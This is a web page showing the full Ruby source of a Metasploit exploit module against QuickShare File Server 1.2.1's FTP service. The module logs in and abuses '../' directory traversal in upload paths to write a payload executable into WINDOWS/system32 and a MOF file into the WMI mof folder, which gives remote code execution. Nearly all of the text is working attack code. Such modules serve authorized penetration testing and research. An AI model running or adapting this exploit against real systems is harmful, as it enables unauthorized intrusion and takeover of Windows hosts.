Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/quickshare_traversal_write.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Ftp9include Msf::Exploit::Remote::TcpServer10include Msf::Exploit::EXE11include Msf::Exploit::WbemExec1213def initialize(info={})14super(update_info(info,15'Name' => "QuickShare File Server 1.2.1 Directory Traversal Vulnerability",16'Description' => %q{17This module exploits a vulnerability found in QuickShare File Server's FTP18service. By supplying "../" in the file path, it is possible to trigger a19directory traversal flaw, allowing the attacker to read a file outside the20virtual directory. By default, the "Writable" option is enabled during account21creation, therefore this makes it possible to create a file at an arbitrary22location, which leads to remote code execution.23},24'License' => MSF_LICENSE,25'Author' =>26[27'modpr0be', #Discovery, PoC28'sinn3r' #Metasploit29],30'References' =>31[32['OSVDB', '70776'],33['EDB', '16105'],34['URL', 'http://www.quicksharehq.com/blog/quickshare-file-server-1-2-2-released.html'],35['URL', 'http://www.digital-echidna.org/2011/02/quickshare-file-share-1-2-1-directory-traversal-vulnerability/']36],37'Payload' =>38{39'BadChars' => "\x00"40},41'DefaultOptions' =>42{43'EXITFUNC' => 'thread'44},45'Platform' => 'win',46'Targets' =>47[48['QuickShare File Server 1.2.1', {}]49],50'Stance' => Msf::Exploit::Stance::Aggressive,51'Privileged' => false,52'DisclosureDate' => '2011-02-03',53'DefaultTarget' => 0))5455register_options(56[57# Change the default description so this option makes sense58OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])59])60end616263def check64connect65disconnect6667if banner =~ /quickshare ftpd/68return Exploit::CheckCode::Detected69else70return Exploit::CheckCode::Safe71end72end737475def on_client_connect(cli)76peer = "#{cli.peerhost}:#{cli.peerport}"7778case @stage79when :exe80print_status("Sending executable (#{@exe.length.to_s} bytes)")81cli.put(@exe)82@stage = :mof8384when :mof85print_status("Sending MOF (#{@mof.length.to_s} bytes)")86cli.put(@mof)87end8889cli.close90end919293def upload(filename)94select(nil, nil, nil, 1)9596peer = "#{rhost}:#{rport}"97print_status("Trying to upload #{::File.basename(filename)}")9899# We can't use connect_login, because it cannot determine a successful login correctly.100# For example: The server actually returns a 503 (Bad Sequence of Commands) when the101# user has already authenticated.102conn = connect(false, datastore['VERBOSE'])103104res = send_user(datastore['FTPUSER'], conn)105106if res !~ /^(331|2)/107fail_with(Failure::BadConfig, "The server rejected our username: #{res.to_s}")108end109110res = send_pass(datastore['FTPPASS'], conn)111if res !~ /^(2|503)/112fail_with(Failure::BadConfig, "The server rejected our password: #{res.to_s}")113end114115# Switch to binary mode116print_status("Set binary mode")117send_cmd(['TYPE', 'I'], true, conn)118119# Prepare active mode: Get attacker's IP and source port120src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST']121src_port = datastore['SRVPORT'].to_i122123# Prepare active mode: Convert the IP and port for active mode124src_ip = src_ip.gsub(/\./, ',')125src_port = "#{src_port/256},#{src_port.remainder(256)}"126127# Set to active mode128print_status("Set active mode \"#{src_ip},#{src_port}\"")129send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)130131# Tell the FTP server to download our file132send_cmd(['STOR', filename], false, conn)133134disconnect(conn)135end136137138def exploit139trigger = '../../../../../../../../'140exe_name = "#{trigger}WINDOWS/system32/#{rand_text_alpha(rand(10)+5)}.exe"141mof_name = "#{trigger}WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10)+5)}.vbs"142@mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))143@exe = generate_payload_exe144@stage = :exe145146begin147t = framework.threads.spawn("reqs", false) {148begin149# Upload our malicious executable150u = upload(exe_name)151152# Upload the mof file153upload(mof_name) if u154rescue ::Exception => e155print_error e.message156cleanup157end158}159super160ensure161t.kill162end163end164end165166167